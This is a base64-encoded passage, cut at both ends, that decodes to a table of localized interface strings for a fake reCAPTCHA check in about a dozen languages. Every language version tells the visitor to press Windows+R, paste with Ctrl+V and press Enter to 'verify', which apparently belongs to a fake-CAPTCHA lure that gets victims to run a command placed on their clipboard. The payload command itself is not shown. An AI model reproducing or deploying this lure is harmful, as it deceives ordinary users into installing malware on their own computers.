IGVpbiBNZW5zY2ggc2luZC4gRGllcyBrYW5uIGVpbmlnZSBTZWt1bmRlbiBkYXVlcm4uIix2ZXJpZnlJbnN0cnVjdGlvbjoiQmVzdMOkdGlnZW4gU2llLCBkYXNzIFNpZSBlaW4gTWVuc2NoIHNpbmQsIGluZGVtIFNpZSBkaWUgZm9sZ2VuZGUgQWt0aW9uIGF1c2bDvGhyZW4uIix2ZXJpZnlpbmc6IldpcmQgw7xiZXJwcsO8ZnQuLi4iLG5vdFJvYm90OiJJY2ggYmluIGtlaW4gUm9ib3RlciIsc3RlcHM6IsOcYmVycHLDvGZ1bmciLHN1Y2Nlc3M6IkVyZm9sZ3JlaWNoLiIsdmVyaWZ5VGl0bGU6IlVtIG5hY2h3ZWlzZW4genUga8O2bm5lbiwgZGFzcyBTaWUga2VpbiBSb2JvdGVyIHNpbmQ6IixzdGVwMToiSGFsdGVuIFNpZSBkaWUgV2luZG93cy1UYXN0ZSA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPiBnZWRyw7xja3QuIixzdGVwMjoiRHLDvGNrZW4gU2llIGltIFZlcmlmaXppZXJ1bmdzZmVuc3RlciA8Yj5TdHJnPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IkRyw7xja2VuIFNpZSBkaWUgPGI+RWluZ2FiZXRhc3RlPC9iPiwgdW0gYWJ6dXNjaGxpZcOfZW4uIixvYnNlcnZlOiJXZW5uIFNpZSBmb3J0ZmFocmVuLCBiZXN0w6R0aWdlbiBTaWU6Iixjb25maXJtTGVhZDoiSWNoIGJpbiBrZWluIFJvYm90ZXIg4oCTIHJlQ0FQVENIQSBWZXJpZml6aWVydW5ncy1JRDogIixmaW5hbDoiRsO8aHJlbiBTaWUgZGllIG9iaWdlbiBTY2hyaXR0ZSBhdXMsIHVtIGRpZSDDnGJlcnByw7xmdW5nIGFienVzY2hsaWXDn2VuLiIsdmVyaWZ5QnRuOiLDnGJlcnByw7xmZW4iLGNvbmZpZGVudGlhbGl0eToiVmVydHJhdWxpY2hrZWl0Iix0ZXJtczoiTnV0enVuZ3NiZWRpbmd1bmdlbiIsZm9vdGVyOiJtdXNzIGRpZSBTaWNoZXJoZWl0IElocmVyIFZlcmJpbmR1bmcgcHLDvGZlbiwgYmV2b3IgU2llIGZvcnRmYWhyZW4uIn0sCgogICAgZnI6e2NoZWNraW5nOiJWw6lyaWZpY2F0aW9uIHF1ZSB2b3VzIMOqdGVzIGh1bWFpbi4gQ2VsYSBwZXV0IHByZW5kcmUgcXVlbHF1ZXMgc2Vjb25kZXMuIix2ZXJpZnlJbnN0cnVjdGlvbjoiVsOpcmlmaWV6IHF1ZSB2b3VzIMOqdGVzIGh1bWFpbiBlbiBjb21wbMOpdGFudCBs4oCZYWN0aW9uIGNpLWRlc3NvdXMuIix2ZXJpZnlpbmc6IlbDqXJpZmljYXRpb27igKYiLG5vdFJvYm90OiJKZSBuZSBzdWlzIHBhcyB1biByb2JvdCIsc3RlcHM6IlbDqXJpZmljYXRpb24iLHN1Y2Nlc3M6IlLDqXVzc2kuIix2ZXJpZnlUaXRsZToiUG91ciBwcm91dmVyIHF1ZSB2b3VzIG7igJnDqnRlcyBwYXMgdW4gcm9ib3QgOiIsc3RlcDE6Ik1haW50ZW5leiBsYSB0b3VjaGUgV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJEYW5zIGxhIGZlbsOqdHJlIGRlIHbDqXJpZmljYXRpb24sIGFwcHV5ZXogc3VyIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiQXBwdXlleiBzdXIgbGEgdG91Y2hlIDxiPkVudHLDqWU8L2I+IHBvdXIgdGVybWluZXIuIixvYnNlcnZlOiJFbiBjb250aW51YW50LCB2b3VzIGNvbmZpcm1leiA6Iixjb25maXJtTGVhZDoiSmUgbmUgc3VpcyBwYXMgdW4gcm9ib3Qg4oCTIElEIGRlIHbDqXJpZmljYXRpb24gcmVDQVBUQ0hBIDogIixmaW5hbDoiRWZmZWN0dWV6IGxlcyDDqXRhcGVzIGNpLWRlc3N1cyBwb3VyIHRlcm1pbmVyIGxhIHbDqXJpZmljYXRpb24uIix2ZXJpZnlCdG46IlbDqXJpZmllciIsY29uZmlkZW50aWFsaXR5OiJDb25maWRlbnRpYWxpdMOpIix0ZXJtczoiQ29uZGl0aW9ucyBnw6luw6lyYWxlcyIsZm9vdGVyOiJkb2l0IHbDqXJpZmllciBsYSBzw6ljdXJpdMOpIGRlIHZvdHJlIGNvbm5leGlvbiBhdmFudCBkZSBjb250aW51ZXIuIn0sCgogICAgaXQ6e2NoZWNraW5nOiJWZXJpZmljYSBjaGUgdHUgc2lhIHVtYW5vLiBQb3RyZWJiZSB2b2xlcmNpIHF1YWxjaGUgc2Vjb25kby4iLHZlcmlmeUluc3RydWN0aW9uOiJWZXJpZmljYSBkaSBlc3NlcmUgdW1hbm8gY29tcGxldGFuZG8gbCdhemlvbmUgc2VndWVudGUuIix2ZXJpZnlpbmc6IlZlcmlmaWNhIGluIGNvcnNv4oCmIixub3RSb2JvdDoiTm9uIHNvbm8gdW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYSIsc3VjY2VzczoiQ29tcGxldGF0by4iLHZlcmlmeVRpdGxlOiJQZXIgZGltb3N0cmFyZSBjaGUgbm9uIHNlaSB1biByb2JvdDoiLHN0ZXAxOiJUaWVuaSBwcmVtdXRvIGlsIHRhc3RvIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiTmVsbGEgZmluZXN0cmEgZGkgdmVyaWZpY2EgcHJlbWkgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJQcmVtaSA8Yj5JbnZpbzwvYj4gcGVyIGNvbXBsZXRhcmUuIixvYnNlcnZlOiJQcm9zZWd1ZW5kbywgY29uZmVybWk6Iixjb25maXJtTGVhZDoiTm9uIHNvbm8gdW4gcm9ib3Qg4oCTIElEIGRpIHZlcmlmaWNhIHJlQ0FQVENIQTogIixmaW5hbDoiRXNlZ3VpIGkgcGFzc2FnZ2kgc29wcmEgcGVyIHRlcm1pbmFyZSBsYSB2ZXJpZmljYS4iLHZlcmlmeUJ0bjoiVmVyaWZpY2EiLGNvbmZpZGVudGlhbGl0eToiUmlzZXJ2YXRlenphIix0ZXJtczoiVGVybWluaSBlIGNvbmRpemlvbmkiLGZvb3RlcjoiZGV2ZSB2ZXJpZmljYXJlIGxhIHNpY3VyZXp6YSBkZWxsYSBjb25uZXNzaW9uZSBwcmltYSBkaSBwcm9jZWRlcmUuIn0sCgogICAgYXI6e2NoZWNraW5nOiLYrNin2LHZiiDYp9mE2KrYrdmC2YIg2YXZhiDYo9mG2YMg2KXZhtiz2KfZhi4g2YLYryDZitiz2KrYutix2YIg2YfYsNinINio2LbYuSDYq9mI2KfZhtmNLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246Itiq2K3ZgtmCINmF2YYg2KPZhtmDINil2YbYs9in2YYg2KjYpdmD2YXYp9mEINin2YTYrti32YjYqSDYo9iv2YbYp9mHLiIsdmVyaWZ5aW5nOiLYrNin2LHZjSDYp9mE2KrYrdmC2YLigKYiLG5vdFJvYm90OiLZhNiz2Kog2KjYsdmG2KfZhdisINix2YjYqNmI2KoiLHN0ZXBzOiLYp9mE2KrYrdmC2YIiLHN1Y2Nlc3M6Itiq2YUg2KjZhtis2KfYrS4iLHZlcmlmeVRpdGxlOiLZhNil2KvYqNin2Kog2KPZhtmDINmE2LPYqiDYsdmI2KjZiNiq2YvYpzoiLHN0ZXAxOiLYp9i22LrYtyDZhdi5INin2YTYp9iz2KrZhdix2KfYsSDYudmE2Ykg2YXZgdiq2KfYrSBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6ItmB2Yog2YbYp9mB2LDYqSDYp9mE2KrYrdmC2YIg2KfYtti62LcgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiLYp9i22LrYtyA8Yj5FbnRlcjwvYj4g2YTZhNil2YbZh9in2KEuIixvYnNlcnZlOiLYqNin2YTZhdiq2KfYqNi52KnYjCDZgdil2YbZgyDYqtik2YPYrzoiLGNvbmZpcm1MZWFkOiLYo9mG2Kcg2YTYs9iqINix2YjYqNmI2KrZi9inIOKAkyDZhdi52LHZkdmBINiq2K3ZgtmCIHJlQ0FQVENIQTogIixmaW5hbDoi2KPZg9mF2YQg2KfZhNiu2LfZiNin2Kog2KPYudmE2KfZhyDZhNil2YbZh9in2KEg2KfZhNiq2K3ZgtmCLiIsdmVyaWZ5QnRuOiLYqtit2YLZgiIsY29uZmlkZW50aWFsaXR5OiLYp9mE2LPYsdmK2KkiLHRlcm1zOiLYp9mE2LTYsdmI2Lcg2YjYp9mE2KPYrdmD2KfZhSIsZm9vdGVyOiLZitis2Kgg2YXYsdin2KzYudipINij2YXYp9mGINin2YTYp9iq2LXYp9mEINmC2KjZhCDYp9mE2YXYqtin2KjYudipLiJ9LAoKICAgIHpoOntjaGVja2luZzoi5q2j5Zyo5qOA5p+l5oKo5piv5ZCm5Li65Lq657G744CC6L+Z5Y+v6IO96ZyA6KaB5Yeg56eS6ZKf44CCIix2ZXJpZnlJbnN0cnVjdGlvbjoi6YCa6L+H5a6M5oiQ5Lul5LiL5pON5L2c6aqM6K+B5oKo5piv5Lq657G744CCIix2ZXJpZnlpbmc6Iuato+WcqOmqjOivgeKApiIsbm90Um9ib3Q6IuaIkeS4jeaYr+acuuWZqOS6uiIsc3RlcHM6IumqjOivgSIsc3VjY2Vzczoi5oiQ5Yqf44CCIix2ZXJpZnlUaXRsZToi5Li66K+B5piO5oKo5LiN5piv5py65Zmo5Lq677yaIixzdGVwMToi5oyJ5L2PIFdpbmRvd3Mg6ZSuIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+44CCIixzdGVwMjoi5Zyo6aqM6K+B56qX5Y+j5Lit5oyJIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj7jgIIiLHN0ZXAzOiLmjIkgPGI+RW50ZXI8L2I+IOWujOaIkOOAgiIsb2JzZXJ2ZToi57un57ut5pON5L2c5Y2z6KGo56S65oKo56Gu6K6k77yaIixjb25maXJtTGVhZDoi5oiR5LiN5piv5py65Zmo5Lq6IOKAlCByZUNBUFRDSEEg6aqM6K+BIElE77yaIixmaW5hbDoi6K+35a6M5oiQ5Lul5LiK5q2l6aqk5Lul5a6M5oiQ6aqM6K+B44CCIix2ZXJpZnlCdG46IumqjOivgSIsY29uZmlkZW50aWFsaXR5OiLkv53lr4YiLHRlcm1zOiLmnaHmrL7lkozmnaHku7YiLGZvb3Rlcjoi6ZyA6KaB5Zyo57un57ut5LmL5YmN5qOA5p+l5oKo6L+e5o6l55qE5a6J5YWo5oCn44CCIn0sCgogICAgamE6e2NoZWNraW5nOiLjgYLjgarjgZ/jgYzkurrplpPjgYvjganjgYbjgYvnorroqo3jgZfjgabjgYTjgb7jgZnjgILmlbDnp5LjgYvjgYvjgovloLTlkIjjgYzjgYLjgorjgb7jgZnjgIIiLHZlcmlmeUluc3RydWN0aW9uOiLku6XkuIvjga7mk43kvZzjgpLlrozkuobjgZfjgabjgIHkurrplpPjgafjgYLjgovjgZPjgajjgpLnorroqo3jgZfjgabjgY/jgaDjgZXjgYTjgIIiLHZlcmlmeWluZzoi56K66KqN5Lit4oCmIixub3RSb2JvdDoi56eB44Gv44Ot44Oc44OD44OI44Gn44Gv44GC44KK44G+44Gb44KTIixzdGVwczoi56K66KqNIixzdWNjZXNzOiLmiJDlip/jgZfjgb7jgZfjgZ/jgIIiLHZlcmlmeVRpdGxlOiLjg63jg5zjg4Pjg4jjgafjga/jgarjgYTjgZPjgajjgpLoqLzmmI7jgZnjgovjgZ/jgoHjgavvvJoiLHN0ZXAxOiJXaW5kb3dz44Kt44O8IDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IOOCkuaKvOOBl+e2muOBkeOBpuOBj+OBoOOBleOBhOOAgiIsc3RlcDI6IuaknOiovOOCpuOCo+ODs+ODieOCpuOBpyA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IOOCkuaKvOOBl+OBpuOBj+OBoOOBleOBhOOAgiIsc3RlcDM6IjxiPkVudGVyPC9iPiDjgpLmirzjgZfjgablrozkuobjgZfjgb7jgZnjgIIiLG9ic2VydmU6Iue2muihjOOBmeOCi+OBqOOAgeasoeOCkueiuuiqjeOBl+OBvuOBme+8miIsY29uZmlybUxlYWQ6IuengeOBr+ODreODnOODg+ODiOOBp+OBr+OBguOCiuOBvuOBm+OCkyDigJQgcmVDQVBUQ0hBIOaknOiovCBJRDogIixmaW5hbDoi5LiK6KiY44Gu5omL6aCG44KS5a6f6KGM44GX44Gm5qSc6Ki844KS5a6M5LqG44GX44Gm44GP44Gg44GV44GE44CCIix2ZXJpZnlCdG46IueiuuiqjeOBmeOCiyIsY29uZmlkZW50aWFsaXR5OiLmqZ/lr4bkv53mjIEiLHRlcm1zOiLliKnnlKjopo/ntIQiLGZvb3Rlcjoi57aa6KGM44GZ44KL5YmN44Gr5o6l57aa44Gu44K744Kt44Ol44Oq44OG44Kj44KS56K66KqN44GZ44KL5b+F6KaB44GM44GC44KK44G+44GZ44CCIn0sCgogICAgcnU6e2NoZWNraW5nOiLQn9GA0L7QstC10YDRj9C10LwsINGH0YLQviDQstGLINGH0LXQu9C+0LLQtdC6LiDQrdGC0L4g0LzQvtC20LXRgiDQt9Cw0L3Rj9GC0Ywg0L3QtdGB0LrQvtC70YzQutC+INGB0LXQutGD0L3QtC4iLHZlcmlmeUluc3RydWN0aW9uOiLQn9C+0LTRgtCy0LXRgNC00LjRgtC1LCDRh9GC0L4g0LLRiyDRh9C10LvQvtCy0LXQuiwg0LLRi9C/0L7Qu9C90LjQsiDQtNC10LnRgdGC0LLQuNC1INC90LjQttC1LiIsdmVyaWZ5aW5nOiLQn9GA0L7QstC10YDQutCw4oCmIixub3RSb2JvdDoi0K8g0L3QtSDRgNC+0LHQvtGCIixzdGVwczoi0J/RgNC+0LLQtdGA0LrQsCIsc3VjY2Vzczoi0KPRgdC/0LXRiNC90L4uIix2ZXJpZnlUaXRsZToi0KfRgtC+0LHRiyDQtNC+0LrQsNC30LDRgtGMLCDRh9GC0L4g0LLRiyDQvdC1INGA0L7QsdC+0YI6IixzdGVwMToi0KPQtNC10YDQttC40LLQsNC50YLQtSDQutC70LDQstC40YjRgyBXaW5kb3dzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+LiIsc3RlcDI6ItCSINC+0LrQvdC1INC/0YDQvtCy0LXRgNC60Lgg0L3QsNC20LzQuNGC0LUgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiLQndCw0LbQvNC40YLQtSA8Yj5FbnRlcjwvYj4g0LTQu9GPINC30LDQstC10YDRiNC10L3QuNGPLiIsb2JzZXJ2ZToi0J/RgNC+0LTQvtC70LbQsNGPLCDQstGLINC/0L7QtNGC0LLQtdGA0LbQtNCw0LXRgtC1OiIsY29uZmlybUxlYWQ6ItCvINC90LUg0YDQvtCx0L7RgiDigJQgSUQg0L/RgNC+0LLQtdGA0LrQuCByZUNBUFRDSEE6ICIsZmluYWw6ItCS0YvQv9C+0LvQvdC40YLQtSDRiNCw0LPQuCDQstGL0YjQtSwg0YfRgtC+0LHRiyDQt9Cw0LLQtdGA0YjQuNGC0Ywg0L/RgNC+0LLQtdGA0LrRgy4iLHZlcmlmeUJ0bjoi0J/RgNC+0LLQtdGA0LjRgtGMIixjb25maWRlbnRpYWxpdHk6ItCa0L7QvdGE0LjQtNC10L3RhtC40LDQu9GM0L3QvtGB0YLRjCIsdGVybXM6ItCj0YHQu9C+0LLQuNGPINC40YHQv9C+0LvRjNC30L7QstCw0L3QuNGPIixmb290ZXI6ItC00L7Qu9C20LXQvSDQv9GA0L7QstC10YDQuNGC0Ywg0LHQtdC30L7Qv9Cw0YHQvdC+0YHRgtGMINCy0LDRiNC10LPQviDRgdC+0LXQtNC40L3QtdC90LjRjyDQv9C10YDQtdC0INC/0YDQvtC00L7Qu9C20LXQvdC40LXQvC4ifSwKCiAgICBlczp7Y2hlY2tpbmc6IkNvbXByb2JhbmRvIHNpIGVyZXMgaHVtYW5vLiBFc3RvIHB1ZWRlIHRhcmRhciB1bm9zIHNlZ3VuZG9zLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IlZlcmlmaWNhIHF1ZSBlcmVzIGh1bWFubyBjb21wbGV0YW5kbyBsYSBhY2Npw7NuIHNpZ3VpZW50ZS4iLHZlcmlmeWluZzoiVmVyaWZpY2FuZG/igKYiLG5vdFJvYm90OiJObyBzb3kgdW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYWNpw7NuIixzdWNjZXNzOiJDb3JyZWN0by4iLHZlcmlmeVRpdGxlOiJQYXJhIGRlbW9zdHJhciBxdWUgbm8gZXJlcyB1biByb2JvdDoiLHN0ZXAxOiJNYW50w6luIHB1bHNhZGEgbGEgdGVjbGEgV2luZG93cyA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPi4iLHN0ZXAyOiJFbiBsYSB2ZW50YW5hIGRlIHZlcmlmaWNhY2nDs24sIHB1bHNhIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4uIixzdGVwMzoiUHVsc2EgPGI+RW50ZXI8L2I+IHBhcmEgZmluYWxpemFyLiIsb2JzZXJ2ZToiQWwgY29udGludWFyLCBjb25maXJtYXM6Iixjb25maXJtTGVhZDoiTm8gc295IHVuIHJvYm90IOKAlCBJRCBkZSB2ZXJpZmljYWNpw7NuIHJlQ0FQVENIQTogIixmaW5hbDoiUmVhbGl6YSBsb3MgcGFzb3MgYW50ZXJpb3JlcyBwYXJhIGZpbmFsaXphciBsYSB2ZXJpZmljYWNpw7NuLiIsdmVyaWZ5QnRuOiJWZXJpZmljYXIiLGNvbmZpZGVudGlhbGl0eToiQ29uZmlkZW5jaWFsaWRhZCIsdGVybXM6IlTDqXJtaW5vcyB5IGNvbmRpY2lvbmVzIixmb290ZXI6ImRlYmUgcmV2aXNhciBsYSBzZWd1cmlkYWQgZGUgdHUgY29uZXhpw7NuIGFudGVzIGRlIGNvbnRpbnVhci4ifSwKCiAgICBwdDp7Y2hlY2tpbmc6IlZlcmlmaWNhbmRvIHNlIHZvY8OqIMOpIGh1bWFuby4gSXNzbyBwb2RlIGxldmFyIGFsZ3VucyBzZWd1bmRvcy4iLHZlcmlmeUluc3RydWN0aW9uOiJDb25maXJtZSBxdWUgdm9jw6ogw6kgaHVtYW5vIGNvbmNsdWluZG8gYSBhw6fDo28gYWJhaXhvLiIsdmVyaWZ5aW5nOiJWZXJpZmljYW5kb+KApiIsbm90Um9ib3Q6Ik7Do28gc291IHVtIHJvYsO0IixzdGVwczoiVmVyaWZpY2HDp8OjbyIsc3VjY2VzczoiQ29uY2x1w61kby4iLHZlcmlmeVRpdGxlOiJQYXJhIHByb3ZhciBxdWUgdm9jw6ogbsOjbyDDqSB1bSByb2LDtDoiLHN0ZXAxOiJNYW50ZW5oYSBwcmVzc2lvbmFkYSBhIHRlY2xhIFdpbmRvd3MgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4uIixzdGVwMjoiTmEgamFuZWxhIGRlIHZlcmlmaWNhw6fDo28sIHByZXNzaW9uZSA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+LiIsc3RlcDM6IlByZXNzaW9uZSA8Yj5FbnRlcjwvYj4gcGFyYSBjb25jbHVpci4iLG9ic2VydmU6IkFvIGNvbnRpbnVhciwgdm9jw6ogY29uZmlybWE6Iixjb25maXJtTGVhZDoiTsOjbyBzb3UgdW0gcm9iw7Qg4oCUIElEIGRlIHZlcmlmaWNhw6fDo28gcmVDQVBUQ0hBOiAiLGZpbmFsOiJDb25jbHVhIGFzIGV0YXBhcyBhY2ltYSBwYXJhIGZpbmFsaXphciBhIHZlcmlmaWNhw6fDo28uIix2ZXJpZnlCdG46IlZlcmlmaWNhciIsY29uZmlkZW50aWFsaXR5OiJDb25maWRlbmNpYWxpZGFkZSIsdGVybXM6IlRlcm1vcyBlIGNvbmRpw6fDtWVzIixmb290ZXI6InByZWNpc2EgcmV2aXNhciBhIHNlZ3VyYW7Dp2EgZGEgc3VhIGNvbmV4w6NvIGFudGVzIGRlIHByb3NzZWd1aXIuIn0sCgogICAgbmw6e2NoZWNraW5nOiJDb250cm9sZXJlbiBvZiB1IGVlbiBtZW5zIGJlbnQuIERpdCBrYW4gZW5rZWxlIHNlY29uZGVuIGR1cmVuLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IkJldmVzdGlnIGRhdCB1IGVlbiBtZW5zIGJlbnQgZG9vciBkZSBvbmRlcnN0YWFuZGUgYWN0aWUgdWl0IHRlIHZvZXJlbi4iLHZlcmlmeWluZzoiQmV6aWcgbWV0IGNvbnRyb2xlcmVu4oCmIixub3RSb2JvdDoiSWsgYmVuIGdlZW4gcm9ib3QiLHN0ZXBzOiJWZXJpZmljYXRpZSIsc3VjY2VzczoiR2VsdWt0LiIsdmVyaWZ5VGl0bGU6Ik9tIGFhbiB0ZSB0b25lbiBkYXQgdSBnZWVuIHJvYm90IGJlbnQ6IixzdGVwMToiSG91ZCBkZSBXaW5kb3dzLXRvZXRzIDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IGluZ2VkcnVrdC4iLHN0ZXAyOiJEcnVrIGluIGhldCB2ZXJpZmljYXRpZXZlbnN0ZXIgb3AgPGI+Q3RybDwvYj4gKyA8Yj5WPC9iPi4iLHN0ZXAzOiJEcnVrIG9wIDxiPkVudGVyPC9iPiBvbSBhZiB0ZSByb25kZW4uIixvYnNlcnZlOiJBbHMgdSBkb29yZ2FhdCwgYmV2ZXN0aWd0IHU6Iixjb25maXJtTGVhZDoiSWsgYmVuIGdlZW4gcm9ib3Qg4oCUIHJlQ0FQVENIQS12ZXJpZmljYXRpZS1JRDogIixmaW5hbDoiVm9lciBkZSBib3ZlbnN0YWFuZGUgc3RhcHBlbiB1aXQgb20gZGUgdmVyaWZpY2F0aWUgdGUgdm9sdG9vaWVuLiIsdmVyaWZ5QnRuOiJWZXJpZmnDq3JlbiIsY29uZmlkZW50aWFsaXR5OiJWZXJ0cm91d2VsaWpraGVpZCIsdGVybXM6IlZvb3J3YWFyZGVuIixmb290ZXI6Im1vZXQgZGUgdmVpbGlnaGVpZCB2YW4gdXcgdmVyYmluZGluZyBjb250cm9sZXJlbiB2b29yZGF0IHUgdmVyZGVyZ2FhdC4ifSwKCiAgICB0cjp7Y2hlY2tpbmc6IsSwbnNhbiBvbHVwIG9sbWFkxLHEn8SxbsSxeiBrb250cm9sIGVkaWxpeW9yLiBCdSBiaXJrYcOnIHNhbml5ZSBzw7xyZWJpbGlyLiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IkHFn2HEn8SxZGFraSBpxZ9sZW1pIHRhbWFtbGF5YXJhayBpbnNhbiBvbGR1xJ91bnV6dSBkb8SfcnVsYXnEsW4uIix2ZXJpZnlpbmc6IkRvxJ9ydWxhbsSxeW9y4oCmIixub3RSb2JvdDoiQmVuIHJvYm90IGRlxJ9pbGltIixzdGVwczoiRG/En3J1bGFtYSIsc3VjY2VzczoiQmHFn2FyxLFsxLEuIix2ZXJpZnlUaXRsZToiUm9ib3Qgb2xtYWTEscSfxLFuxLF6xLEga2FuxLF0bGFtYWsgacOnaW46IixzdGVwMToiV2luZG93cyB0dcWfdW51IDxpIGNsYXNzPSdmYWIgZmEtd2luZG93cyc+PC9pPiArIDxiPlI8L2I+IGlsZSBiYXPEsWzEsSB0dXR1bi4iLHN0ZXAyOiJEb8SfcnVsYW1hIHBlbmNlcmVzaW5kZSA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+IHR1xZ9sYXLEsW5hIGJhc8Sxbi4iLHN0ZXAzOiJCaXRpcm1layBpw6dpbiA8Yj5FbnRlcjwvYj7igJlhIGJhc8Sxbi4iLG9ic2VydmU6IkRldmFtIGVkZXJlayDFn3VubGFyxLEgb25heWxhcnPEsW7EsXo6Iixjb25maXJtTGVhZDoiUm9ib3QgZGXEn2lsaW0g4oCUIHJlQ0FQVENIQSBEb8SfcnVsYW1hIEtpbWxpxJ9pOiAiLGZpbmFsOiJEb8SfcnVsYW1hecSxIHRhbWFtbGFtYWsgacOnaW4geXVrYXLEsWRha2kgYWTEsW1sYXLEsSB1eWd1bGF5xLFuLiIsdmVyaWZ5QnRuOiJEb8SfcnVsYSIsY29uZmlkZW50aWFsaXR5OiJHaXpsaWxpayIsdGVybXM6IsWeYXJ0bGFyIHZlIEtvxZ91bGxhciIsZm9vdGVyOiJkZXZhbSBldG1lZGVuIMO2bmNlIGJhxJ9sYW50xLFuxLF6xLFuIGfDvHZlbmxpxJ9pbmkga29udHJvbCBldG1lbGlkaXIuIn0sCgogICAga286e2NoZWNraW5nOiLsgqzsmqnsnpDqsIAg7IKs656M7J247KeAIO2ZleyduO2VmOuKlCDspJHsnoXri4jri6QuIOyeoOyLnOunjCDquLDri6TroKQg7KO87IS47JqULiIsdmVyaWZ5SW5zdHJ1Y3Rpb246IuyVhOuemCDsnpHsl4XsnYQg7JmE66OM7ZWY7JesIOyCrOuejOydtCDrp57ripTsp4Ag7ZmV7J247ZWY7IS47JqULiIsdmVyaWZ5aW5nOiLtmZXsnbgg7KSR4oCmIixub3RSb2JvdDoi64KY64qUIOuhnOu0h+ydtCDslYTri5nri4jri6QiLHN0ZXBzOiLqsoDspp0iLHN1Y2Nlc3M6IuyEseqztS4iLHZlcmlmeVRpdGxlOiLroZzrtIfsnbQg7JWE64uY7J2EIOymneuqhe2VmOugpOuptDoiLHN0ZXAxOiJXaW5kb3dzIO2CpCA8aSBjbGFzcz0nZmFiIGZhLXdpbmRvd3MnPjwvaT4gKyA8Yj5SPC9iPuydhCDriITrpbTshLjsmpQuIixzdGVwMjoi6rKA7KadIOywveyXkOyEnCA8Yj5DdHJsPC9iPiArIDxiPlY8L2I+66W8IOuIhOultOyEuOyalC4iLHN0ZXAzOiLrp4jsuZjroKTrqbQgPGI+RW50ZXI8L2I+66W8IOuIhOultOyEuOyalC4iLG9ic2VydmU6IuqzhOyGje2VmOuptCDri6TsnYzsnYQg7ZmV7J247ZWp64uI64ukOiIsY29uZmlybUxlYWQ6IuuhnOu0h+ydtCDslYTri5nri4jri6Qg4oCUIHJlQ0FQVENIQSDtmZXsnbggSUQ6ICIsZmluYWw6IuychCDri6jqs4Trk6TsnYQg7JmE66OM7ZWY7JesIOqygOymneydhCDrp4jsuZjshLjsmpQuIix2ZXJpZnlCdG46Iu2ZleyduCIsY29uZmlkZW50aWFsaXR5OiLquLDrsIAiLHRlcm1zOiLsnbTsmqnslb3qtIAiLGZvb3Rlcjoi6rOE7IaN7ZWY6riwIOyghOyXkCDsl7DqsrDsnZgg67O07JWI7J2EIO2ZleyduO2VtOyVvCDtlanri4jri6QuIn0sCgoKCiAgICBoaTp7Y2hlY2tpbmc6IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpL/gpK/gpL4g4KSc4KS+IOCksOCkueCkviDgpLngpYgg4KSV4KS/IOCkhuCkqiDgpK7gpL7gpKjgpLUg4KS54KWI4KSC4KWkIOCkh+CkuOCkruClh+CkgiDgpJXgpYHgpJsg4KS44KWH4KSV4KSC4KShIOCksuCklyDgpLjgpJXgpKTgpYcg4KS54KWI4KSC4KWkIix2ZXJpZnlJbnN0cnVjdGlvbjoi4KSo4KWA4KSa4KWHIOCkpuCkv+Ckr+CkviDgpJfgpK/gpL4g4KSV4KS+4KSw4KWN4KSvIOCkquClguCksOCkviDgpJXgpLDgpJXgpYcg4KSq4KWN4KSw4KSu4KS+4KSj4KS/4KSkIOCkleCksOClh+CkgiDgpJXgpL8g4KSG4KSqIOCkj+CklSDgpK7gpL7gpKjgpLUg4KS54KWI4KSC4KWkIix2ZXJpZnlpbmc6IuCkuOCkpOCljeCkr+CkvuCkquCkv+CkpCDgpJXgpLAg4KSw4KS54KWHIOCkueCliOCkgi4uLiIsbm90Um9ib3Q6IuCkruCliOCkgiDgpI/gpJUg4KSw4KWL4KSs4KWL4KSfIOCkqOCkueClgOCkgiDgpLngpYLgpIEiLHN0ZXBzOiLgpLjgpKTgpY3gpK/gpL7gpKrgpKgg4KSa4KSw4KSjIixzdWNjZXNzOiLgpLjgpKvgpLLgpaQiLHZlcmlmeVRpdGxlOiLgpK/gpLkg4KS44KS/4KSm4KWN4KSnIOCkleCksOCkqOClhyDgpJXgpYcg4KSy4KS/4KSPIOCkleCkvyDgpIbgpKog4KSw4KWL4KSs4KWL4KSfIOCkqOCkueClgOCkgiDgpLngpYjgpII6IixzdGVwMToiV2luZG93cyDgpJXgpYHgpILgpJzgpYAgPGkgY2xhc3M9J2ZhYiBmYS13aW5kb3dzJz48L2k+ICsgPGI+UjwvYj4g4KSm4KSs4KS+4KSV4KSwIOCksOCkluClh+CkguClpCIsc3RlcDI6IuCkuOCkpOCljeCkr+CkvuCkquCkqCDgpLXgpL/gpILgpKHgpYsg4KSu4KWH4KSCIDxiPkN0cmw8L2I+ICsgPGI+VjwvYj4g4KSm4KS